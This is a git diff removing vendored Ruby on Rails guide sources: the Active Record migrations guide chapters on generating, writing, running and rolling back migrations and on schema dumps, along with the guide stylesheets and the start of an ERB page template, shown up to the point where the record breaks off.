-In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. Just use some common sense.
-
diff --git a/vendor/rails/railties/doc/guides/source/migrations/changelog.txt b/vendor/rails/railties/doc/guides/source/migrations/changelog.txt
deleted file mode 100644
index 38e772ce..00000000
--- a/vendor/rails/railties/doc/guides/source/migrations/changelog.txt
+++ /dev/null
@@ -1,5 +0,0 @@
-== Changelog ==
-
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/6[Lighthouse ticket]
-
-* September 14, 2008: initial version by link:../authors.html#fcheung[Frederick Cheung]
\ No newline at end of file
diff --git a/vendor/rails/railties/doc/guides/source/migrations/creating_a_migration.txt b/vendor/rails/railties/doc/guides/source/migrations/creating_a_migration.txt
deleted file mode 100644
index 892c73a5..00000000
--- a/vendor/rails/railties/doc/guides/source/migrations/creating_a_migration.txt
+++ /dev/null
@@ -1,109 +0,0 @@
-== Creating A Migration ==
-
-=== Creating a model ===
-
-The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running
-
-`ruby script/generate model Product name:string description:text` will create a migration that looks like this
-
-[source, ruby]
------------------------
-class CreateProducts < ActiveRecord::Migration
-  def self.up
-    create_table :products do |t|
-      t.string :name
-      t.text :description
-
-      t.timestamps
-    end
-  end
-
-  def self.down
-    drop_table :products
-  end
-end
------------------------
-
-You can append as many column name/type pairs as you want. By default `t.timestamps` (which creates the `updated_at` and `created_at` columns that
-are automatically populated by Active Record) will be added for you.
-
-=== Creating a standalone migration ===
-If you are creating migrations for other purposes (for example to add a column to an existing table) then you can use the migration generator:
-
-`ruby script/generate migration AddPartNumberToProducts`
-
-This will create an empty but appropriately named migration:
-
-[source, ruby]
------------------------
-class AddPartNumberToProducts < ActiveRecord::Migration
-  def self.up
-  end
-
-  def self.down
-  end
-end
------------------------
-
-If the migration name is of the form AddXXXToYYY or RemoveXXXFromY and is followed by a list of column names and types then a migration containing
-the appropriate add and remove column statements will be created.
-
-`ruby script/generate migration AddPartNumberToProducts part_number:string`
-
-will generate
-
-[source, ruby]
------------------------
-class AddPartNumberToProducts < ActiveRecord::Migration
-  def self.up
-    add_column :products, :part_number, :string
-  end
-
-  def self.down
-    remove_column :products, :part_number
-  end
-end
------------------------
-
-Similarly,
-
-`ruby script/generate migration RemovePartNumberFromProducts part_number:string`
-
-generates
-
-[source, ruby]
------------------------
-class RemovePartNumberFromProducts < ActiveRecord::Migration
-  def self.up
-    remove_column :products, :part_number
-  end
-
-  def self.down
-    add_column :products, :part_number, :string
-  end
-end
------------------------
-
-You are not limited to one magically generated column, for example
-
-`ruby script/generate migration AddDetailsToProducts part_number:string price:decimal`
-
-generates
-
-[source, ruby]
------------------------
-class AddDetailsToProducts < ActiveRecord::Migration
-  def self.up
-    add_column :products, :part_number, :string
-    add_column :products, :price, :decimal
-  end
-
-  def self.down
-    remove_column :products, :price
-    remove_column :products, :part_number
-  end
-end
------------------------
-
-As always, what has been generated for you is just a starting point. You can add or remove from it as you see fit.
-
diff --git a/vendor/rails/railties/doc/guides/source/migrations/foreign_keys.txt b/vendor/rails/railties/doc/guides/source/migrations/foreign_keys.txt
deleted file mode 100644
index 792c41cc..00000000
--- a/vendor/rails/railties/doc/guides/source/migrations/foreign_keys.txt
+++ /dev/null
@@ -1,8 +0,0 @@
-[[foreign_key]]
-== Active Record and Referential Integrity ==
-The Active Record way is that intelligence belongs in your models, not in the database. As such, features such as triggers or foreign key constraints, which push some of that intelligence back into the database are not heavily used.
-
-Validations such as `validates_uniqueness_of` are one way in which models can enforce data integrity. The `:dependent` option on associations allows models to automatically destroy child objects when the parent is destroyed. Like anything which operates at the application level these cannot guarantee referential integrity and so some people augment them with foreign key constraints.
-
-Although Active Record does not provide any tools for working directly with such features, the `execute` method can be used to execute arbitrary SQL. There are also a number of plugins such as http://agilewebdevelopment.com/plugins/search?search=redhillonrails[redhillonrails] which add foreign key support to Active Record (including support for dumping foreign keys in `schema.rb`).
-
diff --git a/vendor/rails/railties/doc/guides/source/migrations/index.txt b/vendor/rails/railties/doc/guides/source/migrations/index.txt
deleted file mode 100644
index be183e85..00000000
--- a/vendor/rails/railties/doc/guides/source/migrations/index.txt
+++ /dev/null
@@ -1,22 +0,0 @@
-Migrations
-==========
-
-Migrations are a convenient way for you to alter your database in a structured and organised manner. You could edit fragments of SQL by hand but you would then be responsible for telling other developers that they need to go and run it. You'd also have to keep track of which changes need to be run against the production machines next time you deploy. Active Record tracks which migrations have already been run so all you have to do is update your source and run `rake db:migrate`. Active Record will work out which migrations should be run.
-
-Migrations also allow you to describe these transformations using Ruby. The great thing about this is that (like most of Active Record's functionality) it is database independent: you don't need to worry about the precise syntax of CREATE TABLE any more that you worry about variations on SELECT * (you can drop down to raw SQL for database specific features). For example you could use SQLite3 in development, but MySQL in production.
-
-You'll learn all about migrations including:
-
-* The generators you can use to create them
-* The methods Active Record provides to manipulate your database
-* The Rake tasks that manipulate them
-* How they relate to `schema.rb`
-
-include::anatomy_of_a_migration.txt[]
-include::creating_a_migration.txt[]
-include::writing_a_migration.txt[]
-include::rakeing_around.txt[]
-include::using_models_in_migrations.txt[]
-include::scheming.txt[]
-include::foreign_keys.txt[]
-include::changelog.txt[]
diff --git a/vendor/rails/railties/doc/guides/source/migrations/rakeing_around.txt b/vendor/rails/railties/doc/guides/source/migrations/rakeing_around.txt
deleted file mode 100644
index 6d8c43d7..00000000
--- a/vendor/rails/railties/doc/guides/source/migrations/rakeing_around.txt
+++ /dev/null
@@ -1,111 +0,0 @@
-== Running Migrations ==
-
-Rails provides a set of rake tasks to work with migrations which boils down to running certain sets of migrations. The very first migration related rake task you use will probably be `db:migrate`. In its most basic form it just runs the `up` method for all the migrations that have not yet been run. If there are no such migrations it exits.
-
-If you specify a target version, Active Record will run the required migrations (up or down) until it has reached the specified version. The
-version is the numerical prefix on the migration's filename. For example to migrate to version 20080906120000 run
-
-------------------------------------
-rake db:migrate VERSION=20080906120000
-------------------------------------
-
-If this is greater than the current version (i.e. it is migrating upwards) this will run the `up` method on all migrations up to and including 20080906120000, if migrating downwards this will run the `down` method on all the migrations down to, but not including, 20080906120000.
-
-=== Rolling back ===
-
-A common task is to rollback the last migration, for example if you made a mistake in it and wish to correct it. Rather than tracking down the version number associated with the previous migration you can run
-
-------------------
-rake db:rollback
-------------------
-
-This will run the `down` method from the latest migration. If you need to undo several migrations you can provide a `STEP` parameter:
-
-------------------
-rake db:rollback STEP=3
-------------------
-
-will run the `down` method from the last 3 migrations.
-
-The `db:migrate:redo` task is a shortcut for doing a rollback and then migrating back up again. As with the `db:rollback` task you can use the `STEP` parameter if you need to go more than one version back, for example
-
-------------------
-rake db:migrate:redo STEP=3
-------------------
-
-Neither of these Rake tasks do anything you could not do with `db:migrate`, they are simply more convenient since you do not need to explicitly specify the version to migrate to.
-
-Lastly, the `db:reset` task will drop the database, recreate it and load the current schema into it.
-
-NOTE: This is not the same as running all the migrations - see the section on <<schema,schema.rb>>.
-
-=== Being Specific ===
-
-If you need to run a specific migration up or down the `db:migrate:up` and `db:migrate:down` tasks will do that. Just specify the appropriate version and the corresponding migration will have its `up` or `down` method invoked, for example
-
-------------------
-rake db:migrate:up VERSION=20080906120000
-------------------
-
-will run the `up` method from the 20080906120000 migration. These tasks check whether the migration has already run, so for example `db:migrate:up VERSION=20080906120000` will do nothing if Active Record believes that 20080906120000 has already been run.
-
-
-=== Being talkative ===
-
-By default migrations tell you exactly what they're doing and how long it took.
-A migration creating a table and adding an index might produce output like this
--------------------------
-== 20080906170109 CreateProducts: migrating ===================================
--- create_table(:products)
-   -> 0.0021s
--- add_index(:products, :name)
-   -> 0.0026s
-== 20080906170109 CreateProducts: migrated (0.0059s) ==========================
--------------------------
-Several methods are provided that allow you to control all this:
-
-* `suppress_messages` suppresses any output generated by its block
-* `say` outputs text (the second argument controls whether it is indented or not)
-* `say_with_time` outputs text along with how long it took to run its block. If the block returns an integer it assumes it is the number of rows affected.
-
-For example, this migration
-
-[source, ruby]
-----------------------
-class CreateProducts < ActiveRecord::Migration
-  def self.up
-    suppress_messages do
-      create_table :products do |t|
-        t.string :name
-        t.text :description
-        t.timestamps
-      end
-    end
-    say "Created a table"
-    suppress_messages {add_index :products, :name}
-    say "and an index!", true
-    say_with_time 'Waiting for a while' do
-      sleep 10
-      250
-    end
-  end
-
-  def self.down
-    drop_table :products
-  end
-end
-----------------------
-
-generates the following output
-----------------------
-== 20080906170109 CreateProducts: migrating ===================================
--- Created a table
-   -> and an index!
--- Waiting for a while
-   -> 10.0001s
-   -> 250 rows
-== 20080906170109 CreateProducts: migrated (10.0097s) =========================
-----------------------
-
-If you just want Active Record to shut up then running `rake db:migrate VERBOSE=false` will suppress any output.
-
diff --git a/vendor/rails/railties/doc/guides/source/migrations/scheming.txt b/vendor/rails/railties/doc/guides/source/migrations/scheming.txt
deleted file mode 100644
index 7acd3f91..00000000
--- a/vendor/rails/railties/doc/guides/source/migrations/scheming.txt
+++ /dev/null
@@ -1,47 +0,0 @@
-== Schema dumping and you ==
-[[schema]]
-=== What are schema files for? ===
-Migrations, mighty as they may be, are not the authoritative source for your database schema. That role falls to either `schema.rb` or an SQL file which Active Record generates by examining the database. They are not designed to be edited, they just represent the current state of the database.
-
-There is no need (and it is error prone) to deploy a new instance of an app by replaying the entire migration history. It is much simpler and faster to just load into the database a description of the current schema.
-
-For example, this is how the test database is created: the current development database is dumped (either to `schema.rb` or `development.sql`) and then loaded into the test database.
-
-Schema files are also useful if you want a quick look at what attributes an Active Record object has. This information is not in the model's code and is frequently spread across several migrations but is all summed up in the schema file. The http://agilewebdevelopment.com/plugins/annotate_models[annotate_models] plugin, which automatically adds (and updates) comments at the top of each model summarising the schema, may also be of interest.
-
-=== Types of schema dumps === 
-There are two ways to dump the schema. This is set in `config/environment.rb` by the `config.active_record.schema_format` setting, which may be either `:sql` or `:ruby`.
-
-If `:ruby` is selected then the schema is stored in `db/schema.rb`. If you look at this file you'll find that it looks an awful lot like one very big migration:
-
-[source, ruby]
---------------------------------------
-ActiveRecord::Schema.define(:version => 20080906171750) do
-  create_table "authors", :force => true do |t|
-    t.string   "name"
-    t.datetime "created_at"
-    t.datetime "updated_at"
-  end
-
-  create_table "products", :force => true do |t|
-    t.string   "name"
-    t.text     "description"
-    t.datetime "created_at"
-    t.datetime "updated_at"
-    t.string   "part_number"
-  end
-end
---------------------------------------
-
-In many ways this is exactly what it is. This file is created by inspecting the database and expressing its structure using `create_table`, `add_index` and so on. Because this is database independent it could be loaded into any database that Active Record supports. This could be very useful if you were to distribute an application that is able to run against multiple databases.
-
-There is however a trade-off: `schema.rb` cannot express database specific items such as foreign key constraints, triggers or stored procedures. While in a migration you can execute custom SQL statements, the schema dumper cannot reconstitute those statements from the database. If you are using features like this then you should set the schema format to `:sql`. 
-
-Instead of using Active Record's schema dumper the database's structure will be dumped using a tool specific to that database (via the `db:structure:dump` Rake task) into `db/#\{RAILS_ENV\}_structure.sql`. For example for PostgreSQL the `pg_dump` utility is used and for MySQL this file will contain the output of SHOW CREATE TABLE for the various tables. Loading this schema is simply a question of executing the SQL statements contained inside.
-
-By definition this will be a perfect copy of the database's structure but this will usually prevent loading the schema into a database other than the one used to create it.
-
-=== Schema dumps and source control ===
-
-Because they are the authoritative source for your database schema, it is strongly recommended that you check them into source control.
-
diff --git a/vendor/rails/railties/doc/guides/source/migrations/using_models_in_migrations.txt b/vendor/rails/railties/doc/guides/source/migrations/using_models_in_migrations.txt
deleted file mode 100644
index 35a4c6fd..00000000
--- a/vendor/rails/railties/doc/guides/source/migrations/using_models_in_migrations.txt
+++ /dev/null
@@ -1,46 +0,0 @@
-[[models]]
-== Using Models In Your Migrations ==
-When creating or updating data in a migration it is often tempting to use one of your models. After all they exist to provide easy access to the underlying data. This can be done but some caution should be observed. 
-
-Consider for example a migration that uses the Product model to update a row in the corresponding table. Alice later updates the Product model, adding a new column and a validation on it. Bob comes back from holiday, updates the source and runs outstanding migrations with `rake db:migrate`, including the one that used the Product model. When the migration runs the source is up to date and so the Product model has the validation added by Alice. The database however is still old and so does not have that column and an error ensues because that validation is on a column that does not yet exist.
-
-Frequently I just want to update rows in the database without writing out the SQL by hand: I'm not using anything specific to the model. One pattern for this is to define a copy of the model inside the migration itself, for example:
-
-[source, ruby]
--------------------------
-class AddPartNumberToProducts < ActiveRecord::Migration
-  class Product < ActiveRecord::Base
-  end
-  
-  def self.up
-    ...
-  end
-
-  def self.down
-    ...
-  end
-end
--------------------------
-The migration has its own minimal copy of the Product model and no longer cares about the Product model defined in the application.
-
-=== Dealing with changing models ===
-
-For performance reasons information about the columns a model has is cached. For example if you add a column to a table and then try and use the corresponding model to insert a new row it may try and use the old column information. You can force Active Record to re-read the column information with the `reset_column_information` method, for example
-
-[source, ruby]
--------------------------
-class AddPartNumberToProducts < ActiveRecord::Migration
-  class Product < ActiveRecord::Base
-  end
-  
-  def self.up
-    add_column :product, :part_number, :string
-    Product.reset_column_information
-    ...
-  end
-
-  def self.down
-    ...
-  end
-end
--------------------------
diff --git a/vendor/rails/railties/doc/guides/source/migrations/writing_a_migration.txt b/vendor/rails/railties/doc/guides/source/migrations/writing_a_migration.txt
deleted file mode 100644
index 2a2b6217..00000000
--- a/vendor/rails/railties/doc/guides/source/migrations/writing_a_migration.txt
+++ /dev/null
@@ -1,159 +0,0 @@
-== Writing a Migration ==
-
-Once you have created your migration using one of the generators it's time to get to work!
-
-=== Creating a table ===
-
-`create_table` will be one of your workhorses. A typical use would be
-
-[source, ruby]
----------------------
-create_table :products do |t|
-  t.string :name
-end
----------------------
-which creates a `products` table with a column called `name` (and as discussed below, an implicit `id` column).
-
-The object yielded to the block allows you create columns on the table. There are two ways of doing this. The first looks like
-
-[source, ruby]
----------------------
-create_table :products do |t|
-  t.column :name, :string, :null => false
-end
----------------------
-
-the second form, the so called "sexy" migrations, drops the somewhat redundant column method. Instead, the `string`, `integer` etc. methods create a column of that type. Subsequent parameters are identical.
-
-[source, ruby]
----------------------
-create_table :products do |t|
-  t.string :name, :null => false
-end
----------------------
-
-By default `create_table` will create a primary key called `id`. You can change the name of the primary key with the `:primary_key` option (don't forget to update the corresponding model) or if you don't want a primary key at all (for example for a HABTM join table) you can pass `:id => false`. If you need to pass database specific options you can place an sql fragment in the `:options` option. For example
-
-[source, ruby]
----------------------
-create_table :products, :options => "ENGINE=BLACKHOLE" do |t|
-  t.string :name, :null => false
-end
----------------------
-Will append `ENGINE=BLACKHOLE` to the sql used to create the table (when using MySQL the default is "ENGINE=InnoDB").
-
-The types Active Record supports are `:primary_key`, `:string`, `:text`, `:integer`, `:float`, `:decimal`, `:datetime`, `:timestamp`, `:time`, `:date`, `:binary`, `:boolean`.
-
-These will be mapped onto an appropriate underlying database type, for example with MySQL `:string` is mapped to `VARCHAR(255)`. You can create columns of 
-types not supported by Active Record when using the non sexy syntax, for example
-
-[source, ruby]
----------------------
-create_table :products do |t|
-  t.column :name, 'polygon', :null => false
-end
----------------------
-This may however hinder portability to other databases.
-
-=== Changing tables ===
-
-`create_table`'s close cousin is `change_table`. Used for changing existing tables, it is used in a similar fashion to `create_table` but the object yielded to the block knows more tricks. For example
-
-[source, ruby]
----------------------
-change_table :products do |t|
-  t.remove :description, :name
-  t.string :part_number
-  t.index :part_number
-  t.rename :upccode, :upc_code
-end
----------------------
-removes the `description` column, creates a `part_number` column and adds an index on it. Finally it renames the `upccode` column.   This is the same as doing
-
-[source, ruby]
----------------------
-remove_column :products, :description
-remove_column :products, :name
-add_column :products, :part_number, :string
-add_index :products, :part_number
-rename_column :products, :upccode, :upc_code
----------------------
-
-You don't have to keep repeating the table name and it groups all the statements related to modifying one particular table. The individual transformation names are also shorter, for example `remove_column` becomes just `remove` and `add_index` becomes just `index`.
-
-=== Special helpers ===
-
-Active Record provides some shortcuts for common functionality. It is for example very common to add both the `created_at` and `updated_at` columns and so there is a method that does exactly that:
-
-[source, ruby]
----------------------
-create_table :products do |t|
-  t.timestamps
-end
----------------------
-will create a new products table with those two columns whereas
-
-[source, ruby]
----------------------
-change_table :products do |t|
-  t.timestamps
-end
----------------------
-adds those columns to an existing table.
-
-The other helper is called `references` (also available as `belongs_to`). In its simplest form it just adds some readability
-
-[source, ruby]
----------------------
-create_table :products do |t|
-  t.references :category
-end
----------------------
-
-will create a `category_id` column of the appropriate type. Note that you pass the model name, not the column name. Active Record adds the `_id` for you. If you have polymorphic belongs_to associations then `references` will add both of the columns required:
-
-[source, ruby]
----------------------
-create_table :products do |t|
-  t.references :attachment, :polymorphic => {:default => 'Photo'}
-end
----------------------
-will add an `attachment_id` column and a string `attachment_type` column with a default value of 'Photo'.
-
-NOTE: The `references` helper does not actually create foreign key constraints for you. You will need to use `execute` for that or a plugin that adds <<foreign_key,foreign key support>>.
-
-If the helpers provided by Active Record aren't enough you can use the `execute` function to execute arbitrary SQL.
-
-For more details and examples of individual methods check the API documentation, in particular the documentation for http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html[ActiveRecord::ConnectionAdapters::SchemaStatements] (which provides the methods available in the `up` and `down` methods),  http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/TableDefinition.html[ActiveRecord::ConnectionAdapters::TableDefinition] (which provides the methods available on the object yielded by `create_table`) and http://api.rubyonrails.com/classes/ActiveRecord/ConnectionAdapters/Table.html[ActiveRecord::ConnectionAdapters::Table] (which provides the methods available on the object yielded by `change_table`).
-
-=== Writing your down method ===
-
-The `down` method of your migration should revert the transformations done by the `up` method. In other words the database should be unchanged if you do an `up` followed by a `down`. For example if you create a table in the up you should drop it in the `down` method. It is wise to do things in precisely the reverse order to in the `up` method. For example
-
-[source, ruby]
----------------------
-class ExampleMigration < ActiveRecord::Migration
-
-  def self.up
-    create_table :products do |t|
-      t.references :category
-    end
-    #add a foreign key
-    execute "ALTER TABLE products ADD CONSTRAINT fk_products_categories FOREIGN KEY (category_id) REFERENCES categories(id)"
-    
-    add_column :users, :home_page_url, :string
-    
-    rename_column :users, :email, :email_address
-  end
-  
-  def self.down
-    rename_column :users, :email_address, :email
-    remove_column :users, :home_page_url
-    execute "ALTER TABLE products DROP FOREIGN KEY fk_products_categories"
-    drop_table :products
-  end
-end
----------------------
-Sometimes your migration will do something which is just plain irreversible, for example it might destroy some data. In cases like those when you can't reverse the migration you can raise IrreversibleMigration from your `down` method. If someone tries to revert your migration an error message will be
-displayed saying that it can't be done.
-
diff --git a/vendor/rails/railties/doc/guides/source/stylesheets/base.css b/vendor/rails/railties/doc/guides/source/stylesheets/base.css
deleted file mode 100644
index 76ee6e2c..00000000
--- a/vendor/rails/railties/doc/guides/source/stylesheets/base.css
+++ /dev/null
@@ -1,358 +0,0 @@
-/* ----------------------------------------------------------------------------
-
-    Ruby on Rails, hijacked for Hieraki
-    Stylesheet for http://rubyonrails.org
-
-    1. General HTML elements
-    2. General classes
-    3. General structure
-		1. header
-		2. Content
-		3. Sidebar
-    4. Sitewide elements 
-    	1. Introduction boxes
-    	2. Navigation
-    5. Elements for specific areas
-    	1. Weblog
-		
----------------------------------------------------------------------------- */
-
-* {
-	margin:                     0;
-	padding:                    0;	
-}
-
-body {	
-	color:						#333333;
-
-	background-color:           #FFFFFF;
-	background-image:			url(../images/header_backdrop.png);
-	background-repeat:			repeat-x;
-	background-position:		0 -25px;
-
-	font-size:					80%;	
-	font-family:				verdana, helvetica, arial, sans-serif;
-	line-height:				1.7em;
-	
-	/* Center in IE5.5 */
-	text-align:					center;
-}
-
-h1 {
-	font-size:					2em;
-	font-weight:				normal;
-	letter-spacing:				-0.04em;
-}
-
-h2 {
-	font-size:					1.5em;
-	font-weight:				normal;
-	letter-spacing:				-0.04em;
-}
-
-h1,h2,h3,h4,h5,h6 {
-  margin-top:					1em;
-  margin-bottom:				0.5em;
-}
-.pageheader a:link, .pageheader a:visited{
-  color:						#333;
-  text-decoration:  none;
-}
-
-img {
-	border:						none;
-}
-
-p {
-	margin-bottom:				1em;
-}
-
-a:link {
-	color:						#BB2233;
-}
-
-a:visited {
-	color:						#991122;
-}
-
-a:hover {
-	color:						#CC2233;
-	background-color:			#EEEEEE;
-}
-
-a:active {
-}
-
-ul {
-	margin-top:					1em;
-	list-style-type:			none;
-}
-
-ul li {
-	margin-left:				0.5em;
-	padding-left:				1em;
-	
-	background-image:			url(../images/bullet.gif);
-	background-repeat:			no-repeat;
-	background-position:		0 0.55em;
-}
-
-/* ----------------------------------------------------------------------------
-	Structure
----------------------------------------------------------------------------- */
-
-div#container {
-	width:						90%;
-	max-width:					790px;	
-
-	margin-top:					10px;
-	margin-left:				auto;
-	margin-right:				auto;
-
-	font-size:					1em;
-
-	/* Don't center text, only div#container */
-	text-align:					left;
-}
-
-div#header {
-	/* This height controls the vertical position of #content and #sidebar */
-	height:						160px;
-	overflow:					hidden;
-}
-
-div#header h1 {
-	height:						30px;
-		
-	margin:						0;
-	margin-top:				10px;
-	margin-left:			100px;
-	padding:					0;
-	font-weight:      bold;
-	font-size:        24pt;
-}
-div#header p {
-  height:						30px;		
-	margin:						0;
-	margin-left:			160px;
-	padding:					0;
-	font-weight:      bold;
-	font-size:        14pt;
-	color:            #999;
-}
-/*
-div#logo {
-	float:						left;
-	width:						110px;
-	height:						140px;
-	margin-right:			31px;
-}
-*/
-
-
-div#content {
-	margin-left:				170px;
-}
-
-/* Fix the IE only 3pixel jog - documented at http://www.positioniseverything.net/articles/hollyhack.html#haslayout \*/
-* html #content {
-	height: 1px;
-}
-/* End hide from IE5-mac */
-
-div#sidebar {
-	float: 						  left;
-	width: 						  170px;
-	margin-top:					-4px;
-	font-size:					0.8em;
-}
-
-div#sidebar h2 {
-	margin:						  0;
-	font-size:					1.1em;
-	font-weight:				bold;
-}
-
-div#sidebar ul {
-	margin-top:					0;
-	margin-bottom:			1em;
-	padding:					  0;
-}
-
-div#sidebar ol li {
-	margin:						  0 0 2px 0px;
-	padding:					  0;
-	line-height:				1.3em;	
-	background-image:		none;
-}
-
-div#sidebar ol li a {
-	display:					  block;
-	width:						  150px;
-	padding:					  0.2em 0;
-}
-
-div#sidebar ul li  {
-  margin-left: 10px;
-}
-
-div#sidebar ol>ol  {
-  padding-left: 5px;
-  padding-right: 5px;
-  list-style-type:			none;
-  
-}
-
-div#sidebar ol>ol li a {
-	display:					block;
-	width:						140px;
-	padding:					0.2em 0;
-	margin-left: 10px;
-	
-}
-
-div#sidebar ol li a:hover {
-}
-
-/* ----------------------------------------------------------------------------
-	Specific site-wide elements
----------------------------------------------------------------------------- */
-
-/* Introduction boxes */
-
-.introduction {
-
-	margin-bottom:				1em;
-	padding:					1em;
-	background-color:			#D6DFE8;
-}
-
-.introduction p {
-	margin-bottom:				0;
-}
-
-/* Navigation */
-
-ul#navMain {
-	height:						22px;
-	margin: 					0;
-	margin-left:      140px;
-	padding: 					16px 0;
-
-	list-style-type:			none;	
-}
-
-ul#navMain li {
-	display:					inline;
-	background-image:			none;	
-	margin:						0;
-	padding:					0;
-}
-
-ul#navMain li {
-	border-left:				1px solid #FFFFFF;
-}
-
-ul#navMain li.first-child {
-	/* Wouldn't it be nice if IE was up-to-date with the rest of the world so we could skip 
-	superfluous classes? */
-	border-left:				none;		
-}
-
-ul#navMain li a {		
-	padding:					0.2em 1em;	
-	
-	color:						#FFFFFF;
-	text-decoration:			none;
-}
-
-ul#navMain li.first-child a {
-	/* Wouldn't it be nice if IE was up-to-date with the rest of the world? */
-	padding-left:				0;
-}
-
-ul#navMain li a:hover {	
-	text-decoration:			underline;
-	background-color:			transparent;
-}
-
-/* Mark the current page */
-ul#navMain li.current a {
-	font-weight:				bold;
-}
-
-
-/* ----------------------------------------------------------------------------
-	Elements for specific areas
----------------------------------------------------------------------------- */
-
-/* Weblog */
-
-.blogEntry {
-	margin-bottom:				2em;
-}
-
-.blogEntry h2 {
-	margin-top:					0;
-	margin-bottom:				0;
-}
-
-p.metaData {
-	color:						#999999;
-	font-size:					0.9em;
-}
-
-
-/* Reference documentation */
-
-#reference #sidebar {
-	display:					none;
-	width:						0;
-}
-
-#reference #content {
-	margin-left:				0;
-}
-
-#reference #content #api {
-	width:						100%;
-	height:						800px;
-}
-
-#reference #logo {
-	width:						80px;
-	height:						86px;
-
-	margin-right:				0;
-}
-
-#reference #logo img {
-	height:						84px;
-}
-
-#reference {
-	/* The header is smaller on the reference page, move the background up so the menu is in the 
-	proper place still */
-	background-position:		0 -70px;
-}
-
-#reference #header {
-	height:						90px;
-}
-
-#reference #header h1 {
-	height:						24px;
-
-	margin-top:					2px;
-	margin-left:				0;
-	
-	background-image:			none;
-
-	text-indent:				0;
-	font-size:					1.5em;
-	font-weight:				bold;
-	
-}
-#reference #container {
-	max-width:					100%;
-}
\ No newline at end of file
diff --git a/vendor/rails/railties/doc/guides/source/stylesheets/forms.css b/vendor/rails/railties/doc/guides/source/stylesheets/forms.css
deleted file mode 100644
index a3fce205..00000000
--- a/vendor/rails/railties/doc/guides/source/stylesheets/forms.css
+++ /dev/null
@@ -1,35 +0,0 @@
-label, input {
-	display:          block;
-	float:            left;
- 	margin-bottom:    10px;
-}
-
-label {
-  text-align:       right;
-  width:            80px;
-  padding-right:    5px;
-  font-weight:      bold;
-}
-
-
-table {
-  border: 0;
-}
-
-form>h1{
-
-  padding-bottom: 2px;
-  border-bottom: 1px solid gray;
-  margin-bottom: 30px;
-
-}
-
-td {
- vertical-align: top; 
-}
-
-#livepreview {
-  padding: 5px;
-  border: 1px solid #ccc;
-
-}
\ No newline at end of file
diff --git a/vendor/rails/railties/doc/guides/source/stylesheets/more.css b/vendor/rails/railties/doc/guides/source/stylesheets/more.css
deleted file mode 100644
index 9446b439..00000000
--- a/vendor/rails/railties/doc/guides/source/stylesheets/more.css
+++ /dev/null
@@ -1,82 +0,0 @@
-.admin {
-  display:none;
-}
-
-#navAuthor {
-  text-align: right;
-}
-
-.bookinfo, .userinfo, pre {
-  padding: 10px;
-  background: #eee;
-  border: 1px solid #ccc;
-}
-
-pre { 
-  overflow: auto; 
-}
-
-#content pre, #content ul {
-  margin-bottom: 10px;
-}
-
-#content ol>ol {
-  padding-left : 30px;
-}
-
-div#header h1 a{
-	color: #333333;
-	text-decoration:  none;		
-}
-
-div#header p a{
-  text-decoration:  none;
-	color:            #999;
-}
-
-.left-floaty {
-  padding: 3px 15px;
-  float:left;
-}
-
-.right-floaty {
-  float:right;
-  padding: 3px 15px;
-}
-
-.figure {
-  border: 1px solid black;
-  line-height: normal;
-  background: #FFE;
-  margin: 1em;
-}
-
-.figure .caption {
-  background: #B00;
-  color: white;
-  font-weight: bold;
-  padding: 4px 24px 4px 8px;
-  margin-left: -4px;
-  border: 1px dotted #F77;
-}
-
-.figure .body {
-  padding: 0.5em;
-  margin-top: 0.5em;
-}
-
-.figure pre {
-  padding: 0px;
-  background: transparent;
-  border: none;
-  font-size: small;
-  font-family: mono;
-}
-
-.figure .lineno {
-  text-align: right;
-  color: #B00;
-  font-family: mono;
-  font-size: small;
-  padding-right: 1em;
-}
diff --git a/vendor/rails/railties/doc/guides/source/templates/guides.html.erb b/vendor/rails/railties/doc/guides/source/templates/guides.html.erb
deleted file mode 100644
index d69cf5e0..00000000
--- a/vendor/rails/railties/doc/guides/source/templates/guides.html.erb
+++ /dev/null
@@ -1,97 +0,0 @@
-<%-
-	manuals_index_url = ENV['MANUALSONRAILS_INDEX_URL'] || "index.html"
-	show_toc = ENV['MANUALSONRAILS_TOC'] != 'no'
--%>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
-	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
-	<title><%- if multi_page? && !is_preamble? -%><%=h current_chapter.plain_title %> :: <% end %><%=h title %></title>
-	<!--[if lt IE 8]>
-	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
-	<![endif]-->
-	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
-	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-	<style type="text/css">
-		<%= include_file('inline.css') %>
-	</style>
-</head>
-<body>
-	<div id="header" <% if !show_toc %> class="notoc"<% end %>>
-		<div id="logo">
-			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
-		</div>
-		
-		<h1 id="site_title"><span>Ruby on Rails</span></h1>
-		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
-		<ul id="navMain">
-			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
-			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
-		</ul>
-	</div>
-
-	<div id="container"<% if !show_toc %> class="notoc"<% end %>>
-		<% if show_toc %>
-		<div id="sidebar">
-			<h2>Chapters</h2>
-			<%- if multi_page? -%>
-				<a href="<%=h chapters.first.basename %>">Preamble</a>
-			<%- end -%>
-			<ol>
-			<%- if multi_page? -%>
-				<%- for heading in table_of_contents -%>
-					<li>
-					<a href="<%=h heading.basename %>"><%= heading.title_without_numbers %></a>
-					<%- if !heading.children.empty? -%>
-						<ul>
-						<% for h in heading.children %>
